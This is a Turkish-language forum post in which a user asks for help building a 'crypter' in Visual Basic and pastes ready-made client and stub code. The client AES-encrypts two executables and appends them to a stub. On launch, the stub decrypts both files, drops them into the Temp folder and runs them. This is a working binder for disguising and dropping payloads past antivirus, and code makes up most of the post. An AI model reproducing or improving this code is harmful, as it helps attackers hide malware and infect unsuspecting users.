Visual Basic'de Crypter programı yazmak

BilgisayarKurdu dedi:

Arkadaşlar bir exe dosyasına crypter işlemi uygulayacağım.
Bunun için stub - client şeklinde 2 çalışma gerekiyor.

Ancak benim bu konuda bilgim yok denecek seviyede, yeniyim yani bu konuda.
Bana kendi programımı üretmeme yardımcı olabilecek seviyede birileri var mı?

İlk başlarda hazır kodlardan da ilerleyebiliriz.
Mesela aşağıda bulduğum kodlar hazır :
CLİENT KODLARI

Kod:Panoya kopyala

            Return SA.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
        End Using
    End Function
    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim lojistik As New OpenFileDialog
        With lojistik
            .FileName = "*.*"
            .Title = "Dosya Seçiniz..."
            .Filter = "Tüm Dosyalar (*.*)|*.*"
            .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
            If .ShowDialog = Windows.Forms.DialogResult.OK Then
                F = .SafeFileName
                TextBox1.Text = .FileName
            End If
        End With
    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Dim lojistik As New OpenFileDialog
        With lojistik
            .FileName = "*.*"
            .Title = "Dosya Seçiniz..."
            .Filter = "Tüm Dosyalar (*.*)|*.*"
            .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
            If .ShowDialog = Windows.Forms.DialogResult.OK Then
                F2 = .SafeFileName
                TextBox2.Text = .FileName
            End If
        End With
    End Sub

    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
        Try
            Dim allstar As New SaveFileDialog
            With allstar
                .FileName = "*.*"
                .Title = "Dosya Seçiniz..."
                .Filter = "Tüm Dosyalar (*.*)|*.*"
                .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
                If .ShowDialog = Windows.Forms.DialogResult.OK Then
                    Dim sp As String = "[ReVaLaTioN]"
                    Dim buffer As Byte() = My.Resources.Stub
                    My.Computer.FileSystem.WriteAllBytes(.FileName, buffer, False)
                    Dim file1 As Byte() = Secure(My.Computer.FileSystem.ReadAllBytes(TextBox1.Text))
                    Dim file2 As Byte() = Secure(My.Computer.FileSystem.ReadAllBytes(TextBox2.Text))
                    System.IO.File.AppendAllText(.FileName, sp & Convert.ToBase64String(file1) & sp & F & sp & Convert.ToBase64String(file2) & sp & F2)
                    MsgBox("Birleştirme İşlemi Tamamlandı !", MsgBoxStyle.Information + MsgBoxStyle.OkOnly, "Lojistik ALLStar")
                End If
            End With
        Catch ex As Exception
            MsgBox("Hata Oluştu !" & ex.Message, MsgBoxStyle.Critical, "Lojistik ALLStar")
        End Try
    End Sub

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

    End Sub
End Class

STUB KODLARI :

Kod:Panoya kopyala

Public Class Form1
    Function UnSecure(ByVal data As Byte()) As Byte()
        Using SA As New System.Security.Cryptography.RijndaelManaged
            SA.IV = New Byte() {1, 2, 3, 4, 5, 6, 7, 8, 9, 1, 2, 3, 4, 5, 6, 7}
            SA.Key = New Byte() {7, 6, 5, 4, 3, 2, 1, 9, 8, 7, 6, 5, 4, 3, 2, 1}
            Return SA.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)
        End Using
    End Function
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Try
            Dim TempDir As String = My.Computer.FileSystem.SpecialDirectories.Temp
            Dim drop() As String = Split(System.IO.File.ReadAllText(Application.ExecutablePath), "[ReVaLaTioN]")

            Dim File1 As Byte() = UnSecure(Convert.FromBase64String(drop(1)))
            Dim File2 As Byte() = UnSecure(Convert.FromBase64String(drop(3)))

            My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & drop(2), File1, False)
            My.Computer.FileSystem.WriteAllBytes(TempDir & "\" & drop(4), File2, False)
            Process.Start(TempDir & "\" & drop(2)) : Process.Start(TempDir & "\" & drop(4))
        Catch ex As Exception
            Process.GetCurrentProcess.Kill()
        End Try
    End Sub
End Class

Yardımlarınızı bekliyorum. @byanigli

Genişletmek için tıkla...